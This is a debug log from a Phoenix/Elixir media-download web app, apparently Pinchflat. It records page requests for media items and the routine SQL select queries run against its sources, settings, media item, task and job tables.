18:14:18.188 [debug] QUERY OK source="sources" db=0.1ms idle=27.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:18.188 [debug] QUERY OK source="settings" db=0.0ms idle=27.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.188 [debug] QUERY OK source="settings" db=0.0ms idle=27.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.188 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.188 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.189 [info] Sent 200 in 1ms 18:14:18.246 [info] GET /sources/36/media/1564179/edit 18:14:18.246 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1564179", "source_id" => "36"} Pipelines: [:browser] 18:14:18.246 [debug] QUERY OK source="media_items" db=0.0ms idle=58.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564179] 18:14:18.246 [debug] QUERY OK source="settings" db=0.0ms idle=58.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.246 [debug] QUERY OK source="settings" db=0.0ms idle=58.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.246 [debug] QUERY OK source="settings" db=0.0ms idle=58.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.247 [info] Sent 200 in 1ms 18:14:18.337 [info] GET /sources/1/media/1563018 18:14:18.337 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563018", "source_id" => "1"} Pipelines: [:browser] 18:14:18.337 [debug] QUERY OK source="media_items" db=0.1ms idle=148.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563018] 18:14:18.338 [debug] QUERY OK source="tasks" db=0.1ms idle=91.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563018] 18:14:18.338 [debug] QUERY OK source="sources" db=0.1ms idle=91.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:14:18.338 [debug] QUERY OK source="settings" db=0.0ms idle=91.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.338 [debug] QUERY OK source="settings" db=0.0ms idle=91.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.338 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.339 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.339 [info] Sent 200 in 2ms 18:14:18.428 [info] GET /sources/25/media/1562584 18:14:18.428 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1562584", "source_id" => "25"} Pipelines: [:browser] 18:14:18.428 [debug] QUERY OK source="media_items" db=0.1ms idle=90.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562584] 18:14:18.428 [debug] QUERY OK source="tasks" db=0.0ms idle=90.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1562584] 18:14:18.428 [debug] QUERY OK source="sources" db=0.1ms idle=90.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:18.429 [debug] QUERY OK source="settings" db=0.0ms idle=90.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.429 [debug] QUERY OK source="settings" db=0.0ms idle=90.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.429 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.429 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.430 [info] Sent 200 in 2ms 18:14:18.519 [info] GET /sources/25/media/1563677 18:14:18.519 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563677", "source_id" => "25"} Pipelines: [:browser] 18:14:18.519 [debug] QUERY OK source="media_items" db=0.1ms idle=90.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563677] 18:14:18.520 [debug] QUERY OK source="tasks" db=0.0ms idle=90.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563677] 18:14:18.520 [debug] QUERY OK source="sources" db=0.1ms idle=90.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:18.520 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=90.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3734169] 18:14:18.520 [debug] QUERY OK source="settings" db=0.0ms idle=90.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.520 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.520 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.521 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.521 [info] Sent 200 in 2ms 18:14:18.610 [info] GET /sources/25/media/1562592 18:14:18.610 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1562592", "source_id" => "25"} Pipelines: [:browser] 18:14:18.610 [debug] QUERY OK source="media_items" db=0.1ms idle=90.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562592] 18:14:18.611 [debug] QUERY OK source="tasks" db=0.1ms idle=90.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1562592] 18:14:18.611 [debug] QUERY OK source="sources" db=0.1ms idle=90.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:18.611 [debug] QUERY OK source="settings" db=0.0ms idle=90.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.611 [debug] QUERY OK source="settings" db=0.0ms idle=90.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.611 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.612 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.612 [info] Sent 200 in 2ms 18:14:18.701 [info] GET /sources/25/media/1562350 18:14:18.701 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1562350", "source_id" => "25"} Pipelines: [:browser] 18:14:18.701 [debug] QUERY OK source="media_items" db=0.1ms idle=90.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562350] 18:14:18.702 [debug] QUERY OK source="tasks" db=0.1ms idle=90.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1562350] 18:14:18.702 [debug] QUERY OK source="sources" db=0.1ms idle=90.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:18.702 [debug] QUERY OK source="settings" db=0.0ms idle=90.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.702 [debug] QUERY OK source="settings" db=0.0ms idle=90.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.702 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.703 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.703 [info] Sent 200 in 2ms 18:14:18.792 [info] GET /sources/1/media/1564162 18:14:18.792 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564162", "source_id" => "1"} Pipelines: [:browser] 18:14:18.792 [debug] QUERY OK source="media_items" db=0.1ms idle=90.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564162] 18:14:18.792 [debug] QUERY OK source="tasks" db=0.1ms idle=90.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564162] 18:14:18.792 [debug] QUERY OK source="sources" db=0.2ms idle=90.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:14:18.793 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=90.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3783973] 18:14:18.793 [debug] QUERY OK source="settings" db=0.0ms idle=89.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.793 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.793 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.794 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.794 [info] Sent 200 in 2ms 18:14:18.883 [info] GET /sources/1/media/1562682 18:14:18.883 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1562682", "source_id" => "1"} Pipelines: [:browser] 18:14:18.884 [debug] QUERY OK source="media_items" db=0.2ms idle=90.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562682] 18:14:18.884 [debug] QUERY OK source="sources" db=0.1ms idle=90.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:14:18.884 [debug] QUERY OK source="tasks" db=0.2ms idle=90.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1562682] 